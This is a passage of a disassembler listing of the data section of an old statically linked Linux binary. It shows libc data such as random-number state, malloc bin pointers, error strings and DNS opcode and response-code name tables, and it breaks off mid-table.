db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2Ch ; , db 90h ; db 7 ; db 8 ; off_80787F8 dd offset unk_80787A4 ; DATA XREF: _IO_un_link+Bo ; _IO_un_link+10r ... unk_80787FC db 0 ; ; DATA XREF: _IO_vsprintf+1Ao ; vsnprintf+1Ao db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0A8h ; db 31h ; 1 db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 58h ; X db 2Fh ; / db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 78h ; x db 30h ; 0 db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1Ch ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 80h ; db 31h ; 1 db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 2Ch ; , db 1Ch ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 4Ch ; L db 1Dh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0E4h ; db 30h ; 0 db 5 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C8h ; db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 44h ; D db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 1Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0ECh ; db 1Eh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B8h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0C4h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0A0h ; db 24h ; $ db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0B4h ; db 1Fh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 24h ; $ db 6 ; db 8 ; dword_807888C dd 0 ; DATA XREF: _IO_vfprintf+2FF4r ; _IO_vfprintf+300Er ... dword_8078890 dd 806A9E4h ; DATA XREF: _IO_vfprintf+60Br ; _IO_vfprintf+64Cr ... dword_8078894 dd 0FFFFFFFFh ; DATA XREF: sub_8054E54+7r ; sub_8054E54+12w ... dword_8078898 dd 0 ; DATA XREF: sub_8054E54+2Aw ; sub_8054EC8+4Fr ... dword_807889C dd 8067F8Ch ; DATA XREF: sub_8054E54+34w ; sub_8054EC8+57r ... dword_80788A0 dd 8 ; DATA XREF: sub_8054E54+3Ew ; sub_8054EC8+6Dr ... dword_80788A4 dd 0FFh ; DATA XREF: sub_8054E54+48w ; sub_8054EC8+20r ... dword_80788A8 dd 0 ; DATA XREF: .text:08055DA3r db 7 ; db 0 ; db 0 ; db 0 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 3Fh ; ? db 0 ; db 0 ; db 0 ; dword_80788BC dd 0 ; DATA XREF: .text:08055DAFr db 3 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0 ; db 0 ; db 0 ; db 3 ; db 0 ; db 0 ; db 0 ; db 25h ; % db 0F6h ; db 38h ; 8 db 0CDh ; db 0ECh ; db 91h ; db 63h ; c db 0FDh ; db 7Ah ; z db 64h ; d db 4 ; db 87h ; db 0C6h ; db 5Fh ; _ db 0DDh ; db 52h ; R db 5Ch ; \ db 0A0h ; db 7 ; db 8Eh ; db 11h ; db 32h ; 2 db 0Eh ; db 0E3h ; db 0Ah ; db 0F7h ; db 68h ; h db 75h ; u db 9Bh ; db 74h ; t db 33h ; 3 db 0A1h ; db 0FFh ; db 19h ; db 20h ; db 8Ch ; db 0B8h ; db 7 ; db 2Dh ; - db 1Bh ; db 0A0h ; db 0D3h ; db 47h ; G db 1Eh ; db 85h ; db 51h ; Q db 0CEh ; db 99h ; db 0A3h ; db 49h ; I db 54h ; T db 6Bh ; k db 0D7h ; db 0F6h ; db 0E0h ; db 87h ; db 0D3h ; db 54h ; T db 4 ; db 27h ; ' db 0E6h ; db 4Bh ; K db 83h ; db 0BBh ; db 0D2h ; db 7Eh ; ~ db 61h ; a db 0A8h ; db 8 ; db 4Ch ; L db 0DBh ; db 0BBh ; db 7Dh ; } db 4Ah ; J db 0FDh ; db 0B0h ; db 0A3h ; db 30h ; 0 db 8Ah ; db 0A2h ; db 6 ; db 0CBh ; db 0 ; db 4Ch ; L db 29h ; ) db 29h ; ) db 0CAh ; db 0DBh ; db 2Ah ; * db 0B2h ; db 0B8h ; db 0F3h ; db 38h ; 8 db 7Dh ; } db 0DBh ; db 9Ah ; db 1Fh ; db 59h ; Y db 0F1h ; db 58h ; X db 18h ; db 7Eh ; ~ db 0E8h ; db 0A4h ; db 78h ; x db 33h ; 3 db 41h ; A db 0C7h ; db 7Bh ; { db 0D3h ; db 0BAh ; db 0F4h ; db 22h ; " db 0EDh ; db 98h ; db 15h ; db 47h ; G db 7Fh ;  db 0EFh ; db 54h ; T db 29h ; ) db 88h ; db 8Fh ; db 79h ; y dword_8078950 dd 80788E0h ; DATA XREF: srand+1E7w ; .text:08055E0Cw ... dword_8078954 dd 80788D4h ; DATA XREF: srand+1F1w initstate+32r ... rand_state_ptr dd 80788D4h ; DATA XREF: srand+9r srand+2Er ... rand_type dd 3 ; DATA XREF: srand+10r initstate+15r ... rand_deg dd 1Fh ; DATA XREF: srand+22r srand+34r ... rand_sep dd 3 ; DATA XREF: srand+1D4r initstate+78w ... rand_end_ptr dd 8078950h ; DATA XREF: initstate+131w ; .text:08055E24w ... db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; dword_8078AF4 dd 807896Ch ; DATA XREF: sub_8055F34+3r ; sub_8055F34+48r ... db 0 ; db 0 ; db 0 ; db 0 ; dword_8078AFC dd 0 ; DATA XREF: strtok+10r strtok+28r ... aUnknownErrorD db 'Unknown error %d',0 ; DATA XREF: _strerror_internal+1Do align 4 errno dd 0 ; DATA XREF: setenv+D2w ; sub_804E180+4Cw ... word_8078B18 dw 0 ; DATA XREF: start+2Fr align 4 dword_8078B1C dd 8068EA4h ; DATA XREF: sub_805A11C+6w ; sub_805A11C+5Ew ... dword_8078B20 dd 8068EA4h ; DATA XREF: sub_805A11C+10w dword_8078B24 dd 0 ; DATA XREF: sub_805A11C+24w ; sub_805A11C+81w ... dword_8078B28 dd 0 ; DATA XREF: sub_805A11C+1Aw ; sub_805A11C+6Aw ... dword_8078B2C dd 0 ; DATA XREF: sub_805A11C+2Ew ; sub_805A11C+90w ... dword_8078B30 dd 8065DE0h ; DATA XREF: sub_805BBF4+40r ; sub_805BBF4+D1r ... dword_8078B34 dd 0 ; DATA XREF: sub_805BBF4+58o ; sub_805BBF4+FAo ... dword_8078B38 dd 8078B34h ; DATA XREF: sub_805BBF4+9r ; sub_805BBF4+72r ... dword_8078B3C dd 8078B34h ; DATA XREF: malloc+39r malloc+177o ... dword_8078B40 dd 8078B3Ch ; DATA XREF: malloc+171r malloc+1A7w ... dword_8078B44 dd 8078B3Ch ; DATA XREF: malloc+4Br malloc+1A2w ... dd offset dword_8078B44 off_8078B4C dd offset dword_8078B44 ; DATA XREF: .data:08078B50o ; .data:08078B54o dd offset off_8078B4C off_8078B54 dd offset off_8078B4C ; DATA XREF: .data:08078B58o ; .data:08078B5Co dd offset off_8078B54 off_8078B5C dd offset off_8078B54 ; DATA XREF: .data:08078B60o ; .data:08078B64o dd offset off_8078B5C off_8078B64 dd offset off_8078B5C ; DATA XREF: .data:08078B68o ; .data:08078B6Co dd offset off_8078B64 off_8078B6C dd offset off_8078B64 ; DATA XREF: .data:08078B70o ; .data:08078B74o dd offset off_8078B6C off_8078B74 dd offset off_8078B6C ; DATA XREF: .data:08078B78o ; .data:08078B7Co dd offset off_8078B74 off_8078B7C dd offset off_8078B74 ; DATA XREF: .data:08078B80o ; .data:08078B84o dd offset off_8078B7C off_8078B84 dd offset off_8078B7C ; DATA XREF: .data:08078B88o ; .data:08078B8Co dd offset off_8078B84 off_8078B8C dd offset off_8078B84 ; DATA XREF: .data:08078B90o ; .data:08078B94o dd offset off_8078B8C off_8078B94 dd offset off_8078B8C ; DATA XREF: .data:08078B98o ; .data:08078B9Co dd offset off_8078B94 off_8078B9C dd offset off_8078B94 ; DATA XREF: .data:08078BA0o ; .data:08078BA4o dd offset off_8078B9C off_8078BA4 dd offset off_8078B9C ; DATA XREF: .data:08078BA8o ; .data:08078BACo dd offset off_8078BA4 off_8078BAC dd offset off_8078BA4 ; DATA XREF: .data:08078BB0o ; .data:08078BB4o dd offset off_8078BAC off_8078BB4 dd offset off_8078BAC ; DATA XREF: .data:08078BB8o ; .data:08078BBCo dd offset off_8078BB4 off_8078BBC dd offset off_8078BB4 ; DATA XREF: .data:08078BC0o ; .data:08078BC4o dd offset off_8078BBC off_8078BC4 dd offset off_8078BBC ; DATA XREF: .data:08078BC8o ; .data:08078BCCo dd offset off_8078BC4 off_8078BCC dd offset off_8078BC4 ; DATA XREF: .data:08078BD0o ; .data:08078BD4o dd offset off_8078BCC off_8078BD4 dd offset off_8078BCC ; DATA XREF: .data:08078BD8o ; .data:08078BDCo dd offset off_8078BD4 off_8078BDC dd offset off_8078BD4 ; DATA XREF: .data:08078BE0o ; .data:08078BE4o dd offset off_8078BDC off_8078BE4 dd offset off_8078BDC ; DATA XREF: .data:08078BE8o ; .data:08078BECo dd offset off_8078BE4 off_8078BEC dd offset off_8078BE4 ; DATA XREF: .data:08078BF0o ; .data:08078BF4o dd offset off_8078BEC off_8078BF4 dd offset off_8078BEC ; DATA XREF: .data:08078BF8o ; .data:08078BFCo dd offset off_8078BF4 off_8078BFC dd offset off_8078BF4 ; DATA XREF: .data:08078C00o ; .data:08078C04o dd offset off_8078BFC off_8078C04 dd offset off_8078BFC ; DATA XREF: .data:08078C08o ; .data:08078C0Co dd offset off_8078C04 off_8078C0C dd offset off_8078C04 ; DATA XREF: .data:08078C10o ; .data:08078C14o dd offset off_8078C0C off_8078C14 dd offset off_8078C0C ; DATA XREF: .data:08078C18o ; .data:08078C1Co dd offset off_8078C14 off_8078C1C dd offset off_8078C14 ; DATA XREF: .data:08078C20o ; .data:08078C24o dd offset off_8078C1C off_8078C24 dd offset off_8078C1C ; DATA XREF: .data:08078C28o ; .data:08078C2Co dd offset off_8078C24 off_8078C2C dd offset off_8078C24 ; DATA XREF: .data:08078C30o ; .data:08078C34o dd offset off_8078C2C off_8078C34 dd offset off_8078C2C ; DATA XREF: .data:08078C38o ; .data:08078C3Co dd offset off_8078C34 off_8078C3C dd offset off_8078C34 ; DATA XREF: .data:08078C40o ; .data:08078C44o dd offset off_8078C3C off_8078C44 dd offset off_8078C3C ; DATA XREF: .data:08078C48o ; .data:08078C4Co dd offset off_8078C44 off_8078C4C dd offset off_8078C44 ; DATA XREF: .data:08078C50o ; .data:08078C54o dd offset off_8078C4C off_8078C54 dd offset off_8078C4C ; DATA XREF: .data:08078C58o ; .data:08078C5Co dd offset off_8078C54 off_8078C5C dd offset off_8078C54 ; DATA XREF: .data:08078C60o ; .data:08078C64o dd offset off_8078C5C off_8078C64 dd offset off_8078C5C ; DATA XREF: .data:08078C68o ; .data:08078C6Co dd offset off_8078C64 off_8078C6C dd offset off_8078C64 ; DATA XREF: .data:08078C70o ; .data:08078C74o dd offset off_8078C6C off_8078C74 dd offset off_8078C6C ; DATA XREF: .data:08078C78o ; .data:08078C7Co dd offset off_8078C74 off_8078C7C dd offset off_8078C74 ; DATA XREF: .data:08078C80o ; .data:08078C84o dd offset off_8078C7C off_8078C84 dd offset off_8078C7C ; DATA XREF: .data:08078C88o ; .data:08078C8Co dd offset off_8078C84 off_8078C8C dd offset off_8078C84 ; DATA XREF: .data:08078C90o ; .data:08078C94o dd offset off_8078C8C off_8078C94 dd offset off_8078C8C ; DATA XREF: .data:08078C98o ; .data:08078C9Co dd offset off_8078C94 off_8078C9C dd offset off_8078C94 ; DATA XREF: .data:08078CA0o ; .data:08078CA4o dd offset off_8078C9C off_8078CA4 dd offset off_8078C9C ; DATA XREF: .data:08078CA8o ; .data:08078CACo dd offset off_8078CA4 off_8078CAC dd offset off_8078CA4 ; DATA XREF: .data:08078CB0o ; .data:08078CB4o dd offset off_8078CAC off_8078CB4 dd offset off_8078CAC ; DATA XREF: .data:08078CB8o ; .data:08078CBCo dd offset off_8078CB4 off_8078CBC dd offset off_8078CB4 ; DATA XREF: .data:08078CC0o ; .data:08078CC4o dd offset off_8078CBC off_8078CC4 dd offset off_8078CBC ; DATA XREF: .data:08078CC8o ; .data:08078CCCo dd offset off_8078CC4 off_8078CCC dd offset off_8078CC4 ; DATA XREF: .data:08078CD0o ; .data:08078CD4o dd offset off_8078CCC off_8078CD4 dd offset off_8078CCC ; DATA XREF: .data:08078CD8o ; .data:08078CDCo dd offset off_8078CD4 off_8078CDC dd offset off_8078CD4 ; DATA XREF: .data:08078CE0o ; .data:08078CE4o dd offset off_8078CDC off_8078CE4 dd offset off_8078CDC ; DATA XREF: .data:08078CE8o ; .data:08078CECo dd offset off_8078CE4 off_8078CEC dd offset off_8078CE4 ; DATA XREF: .data:08078CF0o ; .data:08078CF4o dd offset off_8078CEC off_8078CF4 dd offset off_8078CEC ; DATA XREF: .data:08078CF8o ; .data:08078CFCo dd offset off_8078CF4 off_8078CFC dd offset off_8078CF4 ; DATA XREF: .data:08078D00o ; .data:08078D04o dd offset off_8078CFC off_8078D04 dd offset off_8078CFC ; DATA XREF: .data:08078D08o ; .data:08078D0Co dd offset off_8078D04 off_8078D0C dd offset off_8078D04 ; DATA XREF: .data:08078D10o ; .data:08078D14o dd offset off_8078D0C off_8078D14 dd offset off_8078D0C ; DATA XREF: .data:08078D18o ; .data:08078D1Co dd offset off_8078D14 off_8078D1C dd offset off_8078D14 ; DATA XREF: .data:08078D20o ; .data:08078D24o dd offset off_8078D1C off_8078D24 dd offset off_8078D1C ; DATA XREF: .data:08078D28o ; .data:08078D2Co dd offset off_8078D24 off_8078D2C dd offset off_8078D24 ; DATA XREF: .data:08078D30o ; .data:08078D34o dd offset off_8078D2C off_8078D34 dd offset off_8078D2C ; DATA XREF: .data:08078D38o ; .data:08078D3Co dd offset off_8078D34 off_8078D3C dd offset off_8078D34 ; DATA XREF: .data:08078D40o ; .data:08078D44o dd offset off_8078D3C off_8078D44 dd offset off_8078D3C ; DATA XREF: .data:08078D48o ; .data:08078D4Co dd offset off_8078D44 off_8078D4C dd offset off_8078D44 ; DATA XREF: .data:08078D50o ; .data:08078D54o dd offset off_8078D4C off_8078D54 dd offset off_8078D4C ; DATA XREF: .data:08078D58o ; .data:08078D5Co dd offset off_8078D54 off_8078D5C dd offset off_8078D54 ; DATA XREF: .data:08078D60o ; .data:08078D64o dd offset off_8078D5C off_8078D64 dd offset off_8078D5C ; DATA XREF: .data:08078D68o ; .data:08078D6Co dd offset off_8078D64 off_8078D6C dd offset off_8078D64 ; DATA XREF: .data:08078D70o ; .data:08078D74o dd offset off_8078D6C off_8078D74 dd offset off_8078D6C ; DATA XREF: .data:08078D78o ; .data:08078D7Co dd offset off_8078D74 off_8078D7C dd offset off_8078D74 ; DATA XREF: .data:08078D80o ; .data:08078D84o dd offset off_8078D7C off_8078D84 dd offset off_8078D7C ; DATA XREF: .data:08078D88o ; .data:08078D8Co dd offset off_8078D84 off_8078D8C dd offset off_8078D84 ; DATA XREF: .data:08078D90o ; .data:08078D94o dd offset off_8078D8C off_8078D94 dd offset off_8078D8C ; DATA XREF: .data:08078D98o ; .data:08078D9Co dd offset off_8078D94 off_8078D9C dd offset off_8078D94 ; DATA XREF: .data:08078DA0o ; .data:08078DA4o dd offset off_8078D9C off_8078DA4 dd offset off_8078D9C ; DATA XREF: .data:08078DA8o ; .data:08078DACo dd offset off_8078DA4 off_8078DAC dd offset off_8078DA4 ; DATA XREF: .data:08078DB0o ; .data:08078DB4o dd offset off_8078DAC off_8078DB4 dd offset off_8078DAC ; DATA XREF: .data:08078DB8o ; .data:08078DBCo dd offset off_8078DB4 off_8078DBC dd offset off_8078DB4 ; DATA XREF: .data:08078DC0o ; .data:08078DC4o dd offset off_8078DBC off_8078DC4 dd offset off_8078DBC ; DATA XREF: .data:08078DC8o ; .data:08078DCCo dd offset off_8078DC4 off_8078DCC dd offset off_8078DC4 ; DATA XREF: .data:08078DD0o ; .data:08078DD4o dd offset off_8078DCC off_8078DD4 dd offset off_8078DCC ; DATA XREF: .data:08078DD8o ; .data:08078DDCo dd offset off_8078DD4 off_8078DDC dd offset off_8078DD4 ; DATA XREF: .data:08078DE0o ; .data:08078DE4o dd offset off_8078DDC off_8078DE4 dd offset off_8078DDC ; DATA XREF: .data:08078DE8o ; .data:08078DECo dd offset off_8078DE4 off_8078DEC dd offset off_8078DE4 ; DATA XREF: .data:08078DF0o ; .data:08078DF4o dd offset off_8078DEC off_8078DF4 dd offset off_8078DEC ; DATA XREF: .data:08078DF8o ; .data:08078DFCo dd offset off_8078DF4 off_8078DFC dd offset off_8078DF4 ; DATA XREF: .data:08078E00o ; .data:08078E04o dd offset off_8078DFC off_8078E04 dd offset off_8078DFC ; DATA XREF: .data:08078E08o ; .data:08078E0Co dd offset off_8078E04 off_8078E0C dd offset off_8078E04 ; DATA XREF: .data:08078E10o ; .data:08078E14o dd offset off_8078E0C off_8078E14 dd offset off_8078E0C ; DATA XREF: .data:08078E18o ; .data:08078E1Co dd offset off_8078E14 off_8078E1C dd offset off_8078E14 ; DATA XREF: .data:08078E20o ; .data:08078E24o dd offset off_8078E1C off_8078E24 dd offset off_8078E1C ; DATA XREF: .data:08078E28o ; .data:08078E2Co dd offset off_8078E24 off_8078E2C dd offset off_8078E24 ; DATA XREF: .data:08078E30o ; .data:08078E34o dd offset off_8078E2C off_8078E34 dd offset off_8078E2C ; DATA XREF: .data:08078E38o ; .data:08078E3Co dd offset off_8078E34 off_8078E3C dd offset off_8078E34 ; DATA XREF: .data:08078E40o ; .data:08078E44o dd offset off_8078E3C off_8078E44 dd offset off_8078E3C ; DATA XREF: .data:08078E48o ; .data:08078E4Co dd offset off_8078E44 off_8078E4C dd offset off_8078E44 ; DATA XREF: .data:08078E50o ; .data:08078E54o dd offset off_8078E4C off_8078E54 dd offset off_8078E4C ; DATA XREF: .data:08078E58o ; .data:08078E5Co dd offset off_8078E54 off_8078E5C dd offset off_8078E54 ; DATA XREF: .data:08078E60o ; .data:08078E64o dd offset off_8078E5C off_8078E64 dd offset off_8078E5C ; DATA XREF: .data:08078E68o ; .data:08078E6Co dd offset off_8078E64 off_8078E6C dd offset off_8078E64 ; DATA XREF: .data:08078E70o ; .data:08078E74o dd offset off_8078E6C off_8078E74 dd offset off_8078E6C ; DATA XREF: .data:08078E78o ; .data:08078E7Co dd offset off_8078E74 off_8078E7C dd offset off_8078E74 ; DATA XREF: .data:08078E80o ; .data:08078E84o dd offset off_8078E7C off_8078E84 dd offset off_8078E7C ; DATA XREF: .data:08078E88o ; .data:08078E8Co dd offset off_8078E84 off_8078E8C dd offset off_8078E84 ; DATA XREF: .data:08078E90o ; .data:08078E94o dd offset off_8078E8C off_8078E94 dd offset off_8078E8C ; DATA XREF: .data:08078E98o ; .data:08078E9Co dd offset off_8078E94 off_8078E9C dd offset off_8078E94 ; DATA XREF: .data:08078EA0o ; .data:08078EA4o dd offset off_8078E9C off_8078EA4 dd offset off_8078E9C ; DATA XREF: .data:08078EA8o ; .data:08078EACo dd offset off_8078EA4 off_8078EAC dd offset off_8078EA4 ; DATA XREF: .data:08078EB0o ; .data:08078EB4o dd offset off_8078EAC off_8078EB4 dd offset off_8078EAC ; DATA XREF: .data:08078EB8o ; .data:08078EBCo dd offset off_8078EB4 off_8078EBC dd offset off_8078EB4 ; DATA XREF: .data:08078EC0o ; .data:08078EC4o dd offset off_8078EBC off_8078EC4 dd offset off_8078EBC ; DATA XREF: .data:08078EC8o ; .data:08078ECCo dd offset off_8078EC4 off_8078ECC dd offset off_8078EC4 ; DATA XREF: .data:08078ED0o ; .data:08078ED4o dd offset off_8078ECC off_8078ED4 dd offset off_8078ECC ; DATA XREF: .data:08078ED8o ; .data:08078EDCo dd offset off_8078ED4 off_8078EDC dd offset off_8078ED4 ; DATA XREF: .data:08078EE0o ; .data:08078EE4o dd offset off_8078EDC off_8078EE4 dd offset off_8078EDC ; DATA XREF: .data:08078EE8o ; .data:08078EECo dd offset off_8078EE4 off_8078EEC dd offset off_8078EE4 ; DATA XREF: .data:08078EF0o ; .data:08078EF4o dd offset off_8078EEC off_8078EF4 dd offset off_8078EEC ; DATA XREF: .data:08078EF8o ; .data:08078EFCo dd offset off_8078EF4 off_8078EFC dd offset off_8078EF4 ; DATA XREF: .data:08078F00o ; .data:08078F04o dd offset off_8078EFC off_8078F04 dd offset off_8078EFC ; DATA XREF: .data:08078F08o ; .data:08078F0Co dd offset off_8078F04 off_8078F0C dd offset off_8078F04 ; DATA XREF: .data:08078F10o ; .data:08078F14o dd offset off_8078F0C off_8078F14 dd offset off_8078F0C ; DATA XREF: .data:08078F18o ; .data:08078F1Co dd offset off_8078F14 off_8078F1C dd offset off_8078F14 ; DATA XREF: .data:08078F20o ; .data:08078F24o dd offset off_8078F1C off_8078F24 dd offset off_8078F1C ; DATA XREF: .data:08078F28o ; .data:08078F2Co dd offset off_8078F24 off_8078F2C dd offset off_8078F24 ; DATA XREF: .data:08078F30o ; .data:08078F34o dd offset off_8078F2C off_8078F34 dd offset off_8078F2C ; DATA XREF: sub_805CA24+95o ; sub_805CA24+132o db 0 ; db 0 ; db 0 ; db 0 ; dword_8078F3C dd 20000h ; DATA XREF: free+70r .text:0805CC66w dword_8078F40 dd 0 ; DATA XREF: sub_805BBF4+21r free+7Cr ... dword_8078F44 dd 40h ; DATA XREF: sub_805BA88+17r ; .text:0805CC98w dword_8078F48 dd 20000h ; DATA XREF: malloc+43Dr ; .text:0805CC88w dword_8078F4C dd 0FFFFFFFFh ; DATA XREF: sub_805BBF4+2Ar ; sub_805BBF4+84r ... dword_8078F50 dd 0 ; DATA XREF: sub_805BBF4+150r ; sub_805BBF4+158w dword_8078F54 dd 0 ; DATA XREF: sub_805BA88+91r ; sub_805BA88+99w ... dword_8078F58 dd 0 ; DATA XREF: sub_805BA88+8Br ; sub_805BB64+6Fr ... dword_8078F5C dd 0 ; DATA XREF: sub_805CA24+13Ew db 0 ; db 0 ; db 0 ; db 0 ; dword_8078F64 dd 0 ; DATA XREF: sub_805CA24+15Dw dword_8078F68 dd 0 ; DATA XREF: sub_805CA24+167w db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; dword_8078F74 dd 0 ; DATA XREF: sub_805CA24+14Cw ; malloc_stats+38r dword_8078F78 dd 0 ; DATA XREF: sub_805CA24+152w dword_8078F7C dd 0 ; DATA XREF: sub_805CA24+175w dword_8078F80 dd 0 ; DATA XREF: sub_805BA88+12r ; sub_805BA88+44w ... dword_8078F84 dd 0 ; DATA XREF: sub_805BA88+50r ; sub_805BA88+58w ... dword_8078F88 dd 0 ; DATA XREF: sub_805BA88+6Er ; sub_805BA88+74w ... dword_8078F8C dd 0 ; DATA XREF: sub_805BA88+79r ; sub_805BA88+81w ... dd offset aYplib_cV2_6199 ; "yplib.c,v 2.6 1994/05/27 14:34:43 swen "... dword_8078F94 dd 0FFFFFFFFh ; DATA XREF: sub_805CE84+21r ; sub_805CE84+2Ar ... dword_8078F98 dd 0 ; DATA XREF: catopen+A0r catopen+BBr ... dword_8078F9C dd 0 ; DATA XREF: init_services+198r ; init_services+2A1r ... dword_8078FA0 dd 8069BC0h ; DATA XREF: init_services+DBr ; init_services+153r ... dword_8078FA4 dd 806A5C2h ; DATA XREF: sub_804D458+16r ; sub_8053310+10E1r ... dword_8078FA8 dd 8069FC1h ; DATA XREF: __strtol_internal+E2r ; __strtol_internal+FFr ... dword_8078FAC dd 80699BFh ; DATA XREF: sub_805F1DC+82r dd offset aIquery ; "IQUERY" dd offset aCquerym ; "CQUERYM" dd offset aCqueryu ; "CQUERYU" dd offset aNotify ; "NOTIFY" dd offset a5 ; "5" dd offset a6 ; "6" dd offset a7 ; "7" dd offset a8 ; "8" dd offset aUpdatea ; "UPDATEA" dd offset aUpdated ; "UPDATED" dd offset aUpdateda ; "UPDATEDA" dd offset aUpdatem ; "UPDATEM" dd offset aUpdatema ; "UPDATEMA" dd offset aZoneinit ; "ZONEINIT" dd offset aZoneref ; "ZONEREF" dword_8078FEC dd 8069A08h ; DATA XREF: sub_805F1DC+71r dd offset aFormerr ; "FORMERR" dd offset aServfail ; "SERVFAIL" dd offset aNxdomain ; "NXDOMAIN" dd offset aNotimp ; "NOTIMP" dd offset aRefused ; "REFUSED" dd offset a6 ; "6" dd offset a7 ; "7" dd offset a8 ; "8" dd offset a9 ; "9" dd offset a10 ; 